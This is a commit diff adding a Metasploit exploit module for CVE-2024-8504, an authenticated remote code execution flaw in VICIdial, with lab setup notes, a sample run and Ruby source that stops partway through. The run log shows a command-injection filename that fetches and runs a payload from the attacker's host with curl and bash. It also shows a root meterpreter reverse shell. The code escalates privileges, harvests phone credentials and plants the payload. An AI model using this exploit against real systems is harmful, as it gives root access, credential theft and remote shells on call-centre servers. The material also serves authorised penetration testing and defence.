Land #19456 VICIdial Auth RCE module
This adds a module to exploit CVE-2024-8504 an authenticated RCE in VICIdial
This commit is contained in:
@@ -0,0 +1,241 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a single authenticated Remote Code Execution (RCE)vulnerability in VICIdial, affecting version 2.14-917a.
|
||||
An attacker with valid credentials can execute arbitrary shell commands as the "root" user.
|
||||
|
||||
In certain scenarios, attackers may retrieve valid credentials using the SQL
|
||||
Injection vulnerability with the Metasploit module `auxiliary/scanner/http/vicidial_sql_enum_users_pass`.
|
||||
This allows attackers to enumerate users and passwords, which can then be used to exploit this RCE vulnerability.
|
||||
|
||||
VICIdial does not encrypt passwords by default, making it easier for attackers to use enumerated credentials.
|
||||
|
||||
VICIBox/VICIdial includes an auto-update mechanism, so be cautious when creating vulnerable environments for testing.
|
||||
|
||||
### Install
|
||||
|
||||
#### Version 11.0.1 Setup
|
||||
|
||||
1. **Download the ISO**:
|
||||
[ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso)
|
||||
|
||||
2. **Create a VM**:
|
||||
- Connect to the shell using the default credentials:
|
||||
`root:vicidial` (Note: The keyboard layout is QWERTY by default).
|
||||
|
||||
3. **Run the setup and reboot the VM**:
|
||||
- After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step.
|
||||
|
||||
4. **Vulnerable Revision Setup**:
|
||||
- Run the following command to install a vulnerable version of VICIdial:
|
||||
```
|
||||
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
|
||||
```
|
||||
- Revision 3830 is vulnerable to both SQL Injection and RCE.
|
||||
- Note: The CVEs have been patched starting from revision 3848.
|
||||
|
||||
5. **Legacy Installation**:
|
||||
- Run the installation in legacy mode:
|
||||
```
|
||||
vicibox-install --legacy
|
||||
```
|
||||
|
||||
6. **Installer Output Example**:
|
||||
```
|
||||
vicibox11:~ # vicibox-install --legacy
|
||||
|
||||
ViciBox Installer
|
||||
|
||||
Legacy mode activated
|
||||
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
|
||||
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
|
||||
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
|
||||
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
|
||||
|
||||
The installer will ask questions based upon the role that this server is
|
||||
to provide for the ViciBox Call Center Suite. You should have the database
|
||||
and optionally archive servers setup prior to installing any other servers.
|
||||
The installer will not run without there being a configured database! If this
|
||||
server is to be the database then it must be installed before the archive server.
|
||||
Verify that all servers are connected to the same network and have connectivity
|
||||
to each other before continuing. This installer will be destructive to the server if it is run.
|
||||
|
||||
Do you want to continue with the ViciBox install? [y/N] : y
|
||||
|
||||
Do you want to enable expert installation? [y/N] :
|
||||
|
||||
The Internal IP address found was 192.168.1.4.
|
||||
Do you want to use this IP address for ViciDial? [Y/n] : y
|
||||
|
||||
Will this server be used as the Database? [y/N] : y
|
||||
Do you want to use the default ViciDial DB settings? [Y/n] : y
|
||||
|
||||
Will this server be used as a Web server? [y/N] : y
|
||||
|
||||
Will this server be used as a Telephony server? [y/N] : y
|
||||
|
||||
Will this server be used as an Archive server? [y/N] : y
|
||||
Archive server IP (192.168.1.4) :
|
||||
Archive FTP User (cronarchive) :
|
||||
Archive FTP Password (archive1234) :
|
||||
Archive FTP Port (21) :
|
||||
Archive FTP Directory () :
|
||||
Archive URL (http://192.168.1.4/archive/) :
|
||||
Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, <STDIN> line 14.
|
||||
|
||||
The local SVN is build 240419-1817 version 2.14-916a from SVN
|
||||
Do you want to use the ViciDial version listed above? [Y/n] : y
|
||||
|
||||
Do you want to disable the built-in firewall? [y/N] : y
|
||||
|
||||
|
||||
--- ViciBox Install Summary ---
|
||||
|
||||
Expert : No
|
||||
Legacy : Yes
|
||||
Database : Yes
|
||||
Web : Yes
|
||||
Telephony: Yes
|
||||
First Srv: Yes
|
||||
Have Arch: No
|
||||
Archive : Yes
|
||||
Firewall : Disabled
|
||||
|
||||
--- Configuration Information ---
|
||||
- Database -
|
||||
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, <STDIN> line 16.
|
||||
SVN Rev :
|
||||
IP Addr : 192.168.1.4
|
||||
Name : asterisk
|
||||
User : cron
|
||||
Password : 1234
|
||||
Cust User: custom
|
||||
Cust Pass: custom1234
|
||||
Port : 3306
|
||||
|
||||
|
||||
Please verify the above information before continuing!
|
||||
Do you want to continue the installation? [y/N] : y
|
||||
|
||||
|
||||
Beginning installation, expect lots of output...
|
||||
|
||||
Disabling firewall...
|
||||
Removed /etc/systemd/system/multi-user.target.wants/firewalld.service.
|
||||
Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service.
|
||||
Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
|
||||
Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
|
||||
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, <STDIN> line 17.
|
||||
Local SVN revision matches DB revision:
|
||||
Doing general DataBase requirements...
|
||||
Doing Master-specific MySQL setup...
|
||||
Configuring Web Server...
|
||||
Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service.
|
||||
Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service.
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service.
|
||||
Configuring Telephony Server...
|
||||
Configuring Archive Server...
|
||||
Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique
|
||||
Retapez le nouveau mot de passe : passwd: password updated successfully
|
||||
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
|
||||
Loading GMT and Phone Codes...
|
||||
|
||||
Seeding the audio store, this may take a while...
|
||||
|
||||
PLEASE use secure passwords inside vicidial. It prevents hackers
|
||||
and other undesirables from compromising your system and costing
|
||||
you thousands in toll fraud and long distance. A secure password
|
||||
Contains at least one capital letter and one number. A good example
|
||||
of a secure password would be NrWZDqL1Rg37uuC.
|
||||
|
||||
Don't feed the black market, secure your systems properly!
|
||||
|
||||
System should be installed. Please type 'reboot' to cleanly load everything.
|
||||
|
||||
```
|
||||
|
||||
7. **Post-Installation**:
|
||||
- After installation, **reboot** the system.
|
||||
- Access the web panel by navigating to the administration page and completing the initial setup.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploit/unix/webapp/vicidial_agent_authenticated_rce`
|
||||
1. Do: `set RHOSTS <ip>`
|
||||
1. Do: `set USERNAME <username>`
|
||||
1. Do: `set PASSWORD <password>`
|
||||
1. Do: `set RPORT <port>`
|
||||
1. Do: `set TARGETURI <path>`
|
||||
1. Do: `set SRVPORT <port>`
|
||||
1. Do: `set FETCH_SRVHOST <ip>`
|
||||
|
||||
1. Do: `run`
|
||||
1. The module will exploit the Remote Code Execution
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### ViciBox 11.0.1
|
||||
|
||||
Using `cmd/linux/http/x64/meterpreter_reverse_tcp`:
|
||||
|
||||
```
|
||||
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password
|
||||
[*] Exploit running as background job 12.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) >
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] VICIdial version: 2.14-705
|
||||
[+] The target is vulnerable.
|
||||
[*] Using URL: http://192.168.1.36:5000/piAF2DipO
|
||||
[*] Server started.
|
||||
[*] Payload is ready at /
|
||||
[+] Authenticated successfully as user '6666'
|
||||
[+] Updated user settings to increase privileges
|
||||
[+] Updated system settings
|
||||
[+] Created dummy campaign 'Haley-Huel'
|
||||
[+] Updated dummy campaign settings
|
||||
[+] Created dummy list 'Haley-Huel List' for campaign '898934'
|
||||
[+] Found phone credentials: Extension=callin, Password=test, Recording Extension=8309
|
||||
[+] Retrieved dynamic field names: MGR_login20240926, MGR_pass20240926
|
||||
[+] Entered "manager" credentials to override shift enforcement
|
||||
[+] Authenticated as agent using phone credentials
|
||||
[+] Session Name: 1727385175_8300defaul11764031, Session ID: 8600051
|
||||
[*] Generated malicious command: $(curl$IFS-k$IFS@192.168.1.36:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
|
||||
[*] MonitorConf command sent for Channel Local/8309@default on 192.168.1.28
|
||||
Filename: $(curl$IFS-k$IFS@192.168.1.36:5000$IFS-o$IFS.Vysha&&bash$IFS.Vysha)
|
||||
RecorDing_ID: 10
|
||||
RECORDING WILL LAST UP TO 60 MINUTES
|
||||
|
||||
[+] Stopped malicious recording to prevent file size from growing
|
||||
[*] Deleting dummy campaign with ID: 898934
|
||||
[+] Campaign 898934 deleted successfully.
|
||||
[*] Waiting for 300 seconds to allow the cron job to execute the payload...
|
||||
[*] Received request at: / - Client Address: 192.168.1.28
|
||||
[*] Sending response to 192.168.1.28 for /
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.28
|
||||
[*] Meterpreter session 18 opened (192.168.1.36:4444 -> 192.168.1.28:26572) at 2024-09-27 01:14:12 +0200
|
||||
|
||||
msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18
|
||||
[*] Starting interaction with 18...
|
||||
|
||||
meterpreter > pwd
|
||||
/var/spool/asterisk/monitor
|
||||
meterpreter > ls
|
||||
No entries exist in /var/spool/asterisk/monitor
|
||||
meterpreter > ls /root/
|
||||
Listing: /root/
|
||||
===============
|
||||
|
||||
Mode Size Type Last modified Name
|
||||
---- ---- ---- ------------- ----
|
||||
100600/rw------- 254 fil 2024-09-26 22:31:38 +0200 .bash_history
|
||||
040700/rwx------ 4096 dir 2022-03-15 12:35:24 +0100 .gnupg
|
||||
040755/rwxr-xr-x 4096 dir 2023-08-06 12:37:28 +0200 .subversion
|
||||
100644/rw-r--r-- 35 fil 2023-08-06 12:37:27 +0200 .zypper.conf
|
||||
040755/rwxr-xr-x 4096 dir 2022-03-15 12:35:24 +0100 bin
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,574 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
prepend Msf::Exploit::Remote::AutoCheck
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'VICIdial Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
An attacker with authenticated access to VICIdial as an "agent"
|
||||
can execute arbitrary shell commands as the "root" user. This
|
||||
attack can be chained with CVE-2024-8503 to execute arbitrary
|
||||
shell commands starting from an unauthenticated perspective.
|
||||
},
|
||||
'Author' => [
|
||||
'Valentin Lobstein', # Metasploit Module
|
||||
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2024-8504'],
|
||||
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']
|
||||
],
|
||||
'DisclosureDate' => '2024-09-10',
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => %w[ARCH_CMD],
|
||||
'Targets' => [
|
||||
[
|
||||
'Unix/Linux Command Shell', {
|
||||
'Platform' => %w[unix linux],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true
|
||||
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 300,
|
||||
'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [true, 'Administrator username']),
|
||||
OptString.new('PASSWORD', [true, 'Administrator password']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
return CheckCode::Unknown unless res&.code == 200
|
||||
|
||||
html_doc = res.get_html_document
|
||||
|
||||
version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||
|
||||
res.body.split("\n").find { |line| line.include?('VERSION:') }
|
||||
|
||||
return CheckCode::Unknown unless version_info
|
||||
|
||||
extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')
|
||||
|
||||
return CheckCode::Unknown if extracted_version.empty?
|
||||
|
||||
print_status("VICIdial version: #{extracted_version}")
|
||||
|
||||
vulnerable_version = Rex::Version.new('2.14-917a')
|
||||
current_version = Rex::Version.new(extracted_version)
|
||||
|
||||
return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Start the HTTP server to handle incoming requests from the payload
|
||||
start_service
|
||||
print_status('Server started.')
|
||||
|
||||
# Add the resource to serve the payload and prepare the listener
|
||||
primer
|
||||
|
||||
# Authenticate as an administrator using provided credentials
|
||||
target_uri, request_headers = authenticate_admin
|
||||
|
||||
# Elevate user privileges by updating user settings
|
||||
update_user_settings(target_uri, request_headers)
|
||||
|
||||
# Update the system settings for further exploitation
|
||||
update_system_settings(target_uri, request_headers)
|
||||
|
||||
# Create a dummy campaign to act as a decoy during the attack
|
||||
fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)
|
||||
|
||||
# Modify the settings of the newly created dummy campaign
|
||||
update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
|
||||
|
||||
# Create a dummy list associated with the dummy campaign
|
||||
create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
|
||||
|
||||
# Retrieve phone credentials (extension and password) to authenticate as an agent
|
||||
phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)
|
||||
|
||||
# Authenticate to the agent portal using the retrieved phone credentials and campaign ID
|
||||
session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
|
||||
|
||||
# Insert a malicious recording that contains the payload, using the agent session
|
||||
insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
|
||||
|
||||
# Clean up by deleting the campaign created earlier
|
||||
delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)
|
||||
|
||||
# Start the cron job to execute the malicious payload
|
||||
wait_for_cron_job
|
||||
end
|
||||
|
||||
def primer
|
||||
add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })
|
||||
print_status('Payload is ready at /')
|
||||
end
|
||||
|
||||
def on_request_uri_payload(cli, request)
|
||||
bash_command = <<-BASH
|
||||
#!/bin/bash
|
||||
rm -- $(readlink /proc/$$/fd/255)
|
||||
cd /var/spool/asterisk/monitor/
|
||||
#{payload.encoded}
|
||||
find . -maxdepth 1 -type f -delete
|
||||
BASH
|
||||
|
||||
handle_request(cli, request, bash_command)
|
||||
end
|
||||
|
||||
def handle_request(cli, request, response_payload)
|
||||
print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")
|
||||
|
||||
case request.uri
|
||||
when '/'
|
||||
print_status("Sending response to #{cli.peerhost} for /")
|
||||
send_response(cli, response_payload)
|
||||
else
|
||||
print_error("Request for unknown resource: #{request.uri}")
|
||||
send_not_found(cli)
|
||||
end
|
||||
end
|
||||
|
||||
def delete_dummy_campaign(target_uri, request_headers, campaign_id)
|
||||
print_status("Deleting dummy campaign with ID: #{campaign_id}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),
|
||||
'method' => 'GET',
|
||||
'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },
|
||||
'headers' => request_headers
|
||||
})
|
||||
|
||||
res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")
|
||||
end
|
||||
|
||||
def authenticate_admin
|
||||
username = datastore['USERNAME']
|
||||
password = datastore['PASSWORD']
|
||||
|
||||
credentials = "#{username}:#{password}"
|
||||
credentials_base64 = Rex::Text.encode_base64(credentials)
|
||||
auth_header = "Basic #{credentials_base64}"
|
||||
|
||||
target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')
|
||||
request_params = { 'ADD' => '3', 'user' => username }
|
||||
request_headers = { 'Authorization' => auth_header }
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'GET',
|
||||
'vars_get' => request_params,
|
||||
'headers' => request_headers,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200
|
||||
|
||||
print_good("Authenticated successfully as user '#{username}'")
|
||||
[target_uri, request_headers]
|
||||
end
|
||||
|
||||
def update_user_settings(target_uri, request_headers)
|
||||
faker = Faker::Internet
|
||||
|
||||
user_settings_body = {
|
||||
'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',
|
||||
'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,
|
||||
'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,
|
||||
'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',
|
||||
'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',
|
||||
'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',
|
||||
'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',
|
||||
'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',
|
||||
'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',
|
||||
'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',
|
||||
'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',
|
||||
'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',
|
||||
'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',
|
||||
'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',
|
||||
'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',
|
||||
'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',
|
||||
'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',
|
||||
'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',
|
||||
'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',
|
||||
'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',
|
||||
'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',
|
||||
'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',
|
||||
'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',
|
||||
'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',
|
||||
'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',
|
||||
'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',
|
||||
'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',
|
||||
'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',
|
||||
'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',
|
||||
'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',
|
||||
'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',
|
||||
'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',
|
||||
'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',
|
||||
'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',
|
||||
'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',
|
||||
'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',
|
||||
'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',
|
||||
'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',
|
||||
'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',
|
||||
'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',
|
||||
'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',
|
||||
'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',
|
||||
'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',
|
||||
'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => user_settings_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good('Updated user settings to increase privileges')
|
||||
end
|
||||
|
||||
def update_system_settings(target_uri, request_headers)
|
||||
res = send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'GET',
|
||||
'headers' => request_headers,
|
||||
'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res
|
||||
|
||||
system_settings_body = {}
|
||||
res.get_html_document.css('input').each do |input_tag|
|
||||
system_settings_body[input_tag['name']] = input_tag['value']
|
||||
end
|
||||
|
||||
res.get_html_document.css('select').each do |select_tag|
|
||||
selected_tag = select_tag.at_css('option[selected]')
|
||||
next unless selected_tag
|
||||
|
||||
system_settings_body[select_tag['name']] = selected_tag.text
|
||||
end
|
||||
|
||||
system_settings_body['outbound_autodial_active'] = '0'
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => system_settings_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good('Updated system settings')
|
||||
end
|
||||
|
||||
def create_dummy_campaign(target_uri, request_headers)
|
||||
fake_company_name = Faker::Company.name
|
||||
fake_campaign_id = Faker::Number.number(digits: 6).to_i
|
||||
fake_list_id = fake_campaign_id + 1
|
||||
fake_list_name = "#{fake_company_name} List"
|
||||
|
||||
campaign_settings_body = {
|
||||
'ADD' => '21',
|
||||
'campaign_id' => fake_campaign_id,
|
||||
'campaign_name' => fake_company_name,
|
||||
'user_group' => '---ALL---',
|
||||
'active' => 'Y',
|
||||
'allow_closers' => 'Y',
|
||||
'hopper_level' => '1',
|
||||
'next_agent_call' => 'random',
|
||||
'local_call_time' => '12am-12am',
|
||||
'get_call_launch' => 'NONE',
|
||||
'SUBMIT' => 'SUBMIT'
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => campaign_settings_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good("Created dummy campaign '#{fake_company_name}'")
|
||||
[fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]
|
||||
end
|
||||
|
||||
def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)
|
||||
update_campaign_body = {
|
||||
'ADD' => '41',
|
||||
'campaign_id' => fake_campaign_id,
|
||||
'old_campaign_allow_inbound' => 'Y',
|
||||
'campaign_name' => fake_company_name,
|
||||
'active' => 'Y',
|
||||
'lead_order' => 'DOWN',
|
||||
'lead_filter_id' => 'NONE',
|
||||
'no_hopper_leads_logins' => 'Y',
|
||||
'hopper_level' => '1',
|
||||
'reset_hopper' => 'N',
|
||||
'dial_method' => 'RATIO',
|
||||
'auto_dial_level' => '1',
|
||||
'SUBMIT' => 'SUBMIT',
|
||||
'form_end' => 'END'
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => update_campaign_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good('Updated dummy campaign settings')
|
||||
end
|
||||
|
||||
def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)
|
||||
list_settings_body = {
|
||||
'ADD' => '211',
|
||||
'list_id' => fake_list_id,
|
||||
'list_name' => fake_list_name,
|
||||
'campaign_id' => fake_campaign_id,
|
||||
'active' => 'Y',
|
||||
'SUBMIT' => 'SUBMIT'
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => list_settings_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")
|
||||
end
|
||||
|
||||
def fetch_phone_credentials(target_uri, request_headers)
|
||||
res = send_request_cgi(
|
||||
'uri' => target_uri,
|
||||
'method' => 'GET',
|
||||
'headers' => request_headers,
|
||||
'vars_get' => { 'ADD' => '10000000000' },
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res
|
||||
|
||||
phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')
|
||||
fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),
|
||||
'method' => 'GET',
|
||||
'headers' => request_headers,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res
|
||||
|
||||
phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')
|
||||
phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')
|
||||
recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')
|
||||
|
||||
if [phone_extension, phone_password, recording_extension].all?
|
||||
print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")
|
||||
else
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')
|
||||
end
|
||||
|
||||
[phone_extension, phone_password, recording_extension]
|
||||
end
|
||||
|
||||
def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)
|
||||
vdc_db_query_body = {
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'ACTION' => 'LogiNCamPaigns',
|
||||
'format' => 'html'
|
||||
}
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),
|
||||
'method' => 'POST',
|
||||
'vars_post' => vdc_db_query_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res
|
||||
|
||||
doc = res.get_html_document
|
||||
mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')
|
||||
mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')
|
||||
|
||||
if mgr_login_name && mgr_pass_name
|
||||
print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")
|
||||
else
|
||||
begin
|
||||
today_date = Time.now.strftime('%Y%m%d')
|
||||
mgr_login_name = "MGR_login#{today_date}"
|
||||
mgr_pass_name = "MGR_pass#{today_date}"
|
||||
print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")
|
||||
end
|
||||
end
|
